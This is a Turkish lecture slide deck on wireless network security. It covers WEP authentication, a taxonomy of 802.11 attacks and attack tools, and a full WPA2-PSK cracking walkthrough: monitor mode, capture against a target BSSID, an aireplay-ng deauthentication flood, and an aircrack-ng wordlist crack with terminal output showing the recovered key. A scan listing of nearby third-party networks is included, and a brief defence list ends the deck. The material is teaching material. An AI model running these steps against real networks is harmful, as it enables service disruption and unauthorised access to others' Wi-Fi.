



12. Hafta

KABLOSUZ AĞ GÜVENLİĞİ

Kablosuz Ağ Güvenliği

- Open Security
- WEP
- WPA
- RSN
- RADIUS / WPA-RADIUS
- Wireless Gateway
- Firmalara özel çözümler

WEP Kimlik Doğrulaması

WEP Authentication



1) Bağlantı İsteği

2) AP rasgele bir metin oluşturur (128bit) ve Kablosu Cihaza gönderir

3) Cihaz kendisindeki WEP şifresi (secret key) ile bu gelen metni şifreler AP'ye şifrelenmiş metni gönderir

4) AP gelen geri gelen şifrelenmiş metnin doğru olduğuna onay verir

Kablosuz Ağ Saldırı Çeşitleri

(IEEE 802.11x Tehditleri)

- Erişim Kontrolü Saldırıları (Access Control Attacks)
- Gizlilik Saldırıları (Confidentiality Attacks)
- Bütünlük Doğrulama Saldırıları(Integrity Attacks)
- Kimlik Doğrulama Saldırıları (Authentication Attacks)
- Kullanılabilirlik saldırıları (Availability Attacks)

Erişim Kontrolü Saldırıları

(Access Control Attacks)

- Kablosuz Ağları Tarama (War Driving)
- Yetkisiz Erişim Noktası (Rogue Access Point)
- Mac Adres Sahteciliği (Mac Spoofing)
- Ip Adresi Yanıltma (Ip Spoofing)
- Güvenli Olmayan Ağa Bağlanma (Adhoc Associations)
- 802.1x Radius Cracking

Gizlilik Saldırıları

(Confidentiality Attacks)

- Gizli Dinleme (Eavesdropping)
- Wep Anahtarı Kırma (Wep Key Cracking)
- Ap Üzerinde Sahte Portal Çalıştırmak (Ap Phishing)
- Ortadaki Adam Saldırısı (Man In The Middle)

Bütünlük Doğrulama Saldırıları

(Integrity Attacks)

- 802.11 Paketi Püskürtme (Frame Injection)
- 802.11 Veri Tekrarlama (802.11 Data Replay)
- 802.1x EAP Tekrarlama (802.1x EAP Replay)
- 802.1x Radius Tekrarlama (802.1x Radius Replay)

Kimlik Doğrulama Saldırıları

(Authentication Attacks)

- Shared Key Guessing
- PSK Cracking
- 802.1x Password Guessing
- Application Login Theft
- Domain Login Cracking
- 802.1x LEAP Cracking
- 802.1x EAP Downgrade

Kullanılabilirlik Saldırıları

(Availability Attacks)

- Servis Reddi Saldırıları (DoS Attacks)
- AP Theft
- Queensland DoS
- 802.11 Beacon Flood
- 802.11 Deauthenticate Flood
- ...

Saldırı Araçları

- airmon-ng
- airodump-ng
- aireplay-ng
- aircrack-ng
- reaver
- Netstumbler / MiniStumbler
- Kismet
- Airodump
- Aircrack

Saldırı Yöntemi

- **airmon-ng start wlan0** wifi monitor mod
- **airodump-ng wlan0mon** çevredeki ağlar bilgi
- **airodump-ng wlan0mon BSSID** ile paket toplar
- **aireplay-ng -deauth 100 -e Test wlan0mon**
istemciyi yeniden bağlanmaya zorlama (el sıkışma)
- **aircrack-ng WPA2-01.cap -w /wordlist/liste.txt -o**
paketlere kaba kuvvet saldırısı ile parola bulma.

```
root@kali:~# iwconfig
lo          no wireless extensions.

wlan0       IEEE 802.11  ESSID:off/any
            Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
            Retry short limit:7   RTS thr:off   Fragment thr:off
            Encryption key:off
            Power Management:off

eth0        no wireless extensions.
```

```
root@kali:~# airmon-ng start wlan0
```

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

```
PID Name
537 NetworkManager
585 dhclient
1378 wpa_supplicant
```

PHY	Interface	Driver	Chipset
phy0	wlan0	mt7601u	Ralink Technology, Corp. MT7601U

```
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
```

```
root@kali:~# iwconfig
lo          no wireless extensions.

eth0        no wireless extensions.

wlan0mon    IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
            Retry short limit:7   RTS thr:off   Fragment thr:off
            Power Management:on
```

```
root@kali:~#
```

CH 2][Elapsed: 43 s][2017-11-13 02:59

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
14:5F:94:48:F7:04	-55	17	0 0	1	54e	WPA2	CCMP	PSK	Ahmet-Test
58:2A:F7:D3:32:89	-54	27	0 0	11	54e	WPA2	CCMP	PSK	SUPERONLINE-wiF
D4:6E:0E:A6:45:7C	-69	26	7 1	1	54e	WPA2	CCMP	PSK	TurkTelekom_T45
DC:D9:16:31:2C:93	-79	24	0 0	1	54e	WPA2	CCMP	PSK	OmerFaruk
04:BF:6D:F6:CD:14	-84	22	0 0	7	54e	WPA2	CCMP	PSK	TTNET_ZyXEL_HT4
EC:08:6B:D0:36:E0	-84	15	0 0	1	54e	WPA2	CCMP	PSK	TurkTelekom_T36
84:16:F9:FA:D2:AD	-85	28	0 0	1	54e	WPA2	CCMP	PSK	Ba0.larba0.1 cF
DC:09:4C:27:64:31	-84	27	2 0	4	54e	WPA2	CCMP	PSK	SUPERONLINE-wiF
10:7B:EF:6A:BB:1E	-87	22	0 0	4	54e	WPA2	CCMP	PSK	TTNET_ZyXEL_7Y7
BC:76:70:73:19:65	-87	3	0 0	1	54e	WPA	TKIP	PSK	asozofis
88:41:FC:0B:AB:17	-85	19	0 0	11	54e	WPA2	CCMP	PSK	FENERBAHCE
18:D6:C7:79:C9:20	-89	20	218 0	1	54e	WPA2	CCMP	PSK	TP-LINK_C920
4C:9E:FF:44:91:7C	-88	11	0 0	5	54e	WPA2	CCMP	PSK	tuval_istanbul
A0:E4:CB:DB:59:25	-88	14	0 0	8	54e	WPA2	CCMP	PSK	TTNET_ZyXEL_M9M
DC:09:4C:2C:65:BB	-88	3	0 0	4	54e	WPA2	CCMP	PSK	SUPERONLINE-wiF
4C:9E:FF:32:47:33	-90	14	0 0	7	54e	WPA	CCMP	PSK	POLAT
F4:E3:FB:BA:58:D1	-86	19	0 0	11	54e	WPA2	CCMP	PSK	SUPERONLINE-wiF
18:28:61:E8:C2:D4	-90	3	0 0	8	54e	WPA	TKIP	PSK	KocaAdam
D4:61:2E:8B:CC:B0	-89	2	1 0	11	54e	WPA2	CCMP	PSK	SUPERONLINE-wiF
60:31:97:A6:1C:A7	-89	7	0 0	10	54e	WPA2	CCMP	PSK	TTNET_ZyXEL_RYW

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
(not associated)	4E:44:53:DA:7C:EB	-36	0 - 1	11	3	
(not associated)	3E:EA:33:79:55:EC	-86	0 - 1	0	1	
(not associated)	A8:81:95:C0:44:F8	-74	0 - 1	0	2	
(not associated)	C8:02:10:0B:12:89	-76	0 - 1	0	39	alanya07naksiye
(not associated)	C4:62:EA:B0:E9:E6	-86	0 - 1	0	1	
(not associated)	7C:78:7E:3A:2F:7E	-90	0 - 1	0	3	
(not associated)	88:32:9B:79:59:08	-90	0 - 1	0	2	
DC:09:4C:27:64:31	00:34:DA:58:C8:E0	-90	0 - 1	0	1	
BC:76:70:73:19:65	20:16:D8:8A:10:C4	-84	0 - 1	6	2	
18:D6:C7:79:C9:20	20:EE:28:DC:EB:4E	-1	2e- 0	0	218	

root@kali: ~/Desktop

File Edit View Search Terminal Help

```
root@kali:~/Desktop# airodump-ng wlan0mon -c 1 --bssid 14:5F:94:48:F7:04 -w WPA2
```

root@kali: ~/Desktop

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CH 1][Elapsed: 18 s][2017-11-13 03:03

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
14:5F:94:48:F7:04	-54	2	64	0 0	1	54e	WPA2	CCMP	PSK	Ahmet-Test

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
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WPA2-01.
kismet.
netxml

WPA2-01.
kismet.csv

WPA2-01.
csv

WPA2-01.
cap

WPA2-01.
kismet.
netxml

WPA2-01.
kismet.csv

WPA2-01.
csv

WPA2-01.
cap

```
root@kali: ~/Desktop
File Edit View Search Terminal Help

CH 1 ][ Elapsed: 13 mins ][ 2017-11-13 03:17 ][ WPA handshake: 14:5F:94:48:F7:04

BSSID          PWR RXQ Beacons    #Data, #/s CH MB  ENC  CIPHER AUTH ESSID
14:5F:94:48:F7:04 -12 100    2028      763    0   1  54e  WPA2 CCMP  PSK  Ahmet-Test

BSSID          STATION          PWR   Rate    Lost    Frames  Probe
14:5F:94:48:F7:04 4C:32:75:98:D9:F5 -17    1e- 1e     0       74
14:5F:94:48:F7:04 00:B3:62:23:CF:83 -32    1e- 1     0      741
```

```
root@kali: ~/Desktop
File Edit View Search Terminal Help

root@kali:~/Desktop# aireplay-ng --deauth 100 -e Ahmet-Test wlan0mon
03:17:09 Waiting for beacon frame (ESSID: Ahmet-Test) on channel 1
Found BSSID "14:5F:94:48:F7:04" to given ESSID "Ahmet-Test".
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
03:17:10 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:10 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:11 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:11 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:12 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:12 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:13 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:13 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:14 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:14 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:15 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:15 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:16 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:16 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
03:17:17 Sending DeAuth to broadcast -- BSSID: [14:5F:94:48:F7:04]
```

WPA2-01
kismet.
netxml

WPA2-01
kismet.csv

WPA2-01
csv

WPA2-01
cap

```
root@kali: ~/Desktop
File Edit View Search Terminal Help

CH 1 ][ Elapsed: 17 mins ][ 2017-11-13 03:21 ][ WPA handshake: 14:5F:94:48:F7:04

BSSID          PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:5F:94:48:F7:04 56 71 3068 1789 0 1 54g WPA2 CCMP PSK Ahmet-Test
```

```
root@kali: ~/Desktop
File Edit View Search Terminal Help

root@kali:~/Desktop# aircrack-ng WPA2-01.cap -w /usr/share/wordlists/rockyou.txt -0
Opening WPA2-01.cap
Read 58123 packets.

# BSSID          ESSID          Encryption
1 14:5F:94:48:F7:04 Ahmet-Test      WPA (1 handshake)

Choosing first network as target.

Opening WPA2-01.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc4

[00:00:00] 924/7120712 keys tested (1941.87 k/s)

Time left: 1 hour, 1 minute, 8 seconds          0.01%

KEY FOUND! [ 123456789123456 ]

Master Key      : 20 EB DC 97 0A EF BE 90 B5 62 08 75 15 C7 A8 5F
                  AC 63 3A 0C 76 76 C8 A7 E7 82 62 B1 78 98 74 C9

Transient Key   : 1D 8F 9A F4 C8 A3 4D 53 6B 20 9A A5 42 14 1D BD
                  73 50 22 87 6B C2 07 EE 92 41 C9 4A 41 1B 01 0E
                  AD A2 C0 3E 8E E8 B1 42 E0 6B 5B 3A 74 FD 56 8F
                  CE A6 48 26 80 BD 4C FA E4 B9 5B EC 3B 36 EE A0

EAPOL HMAC     : 98 DF 54 79 CE B6 99 4E 10 B8 AE 88 45 71 EC F8
```

Savunma

- Kablosuz ağ erişim noktalarının yama ve firmware güncellemesinin yapılması
- WPA/WPA2 ile güçlü parola ilkesi uygulanmalı
- Mümkünse trafik VPN ile tünelleyerek şifrelenmeli
- Mümkünse Mac filter kullanılmalı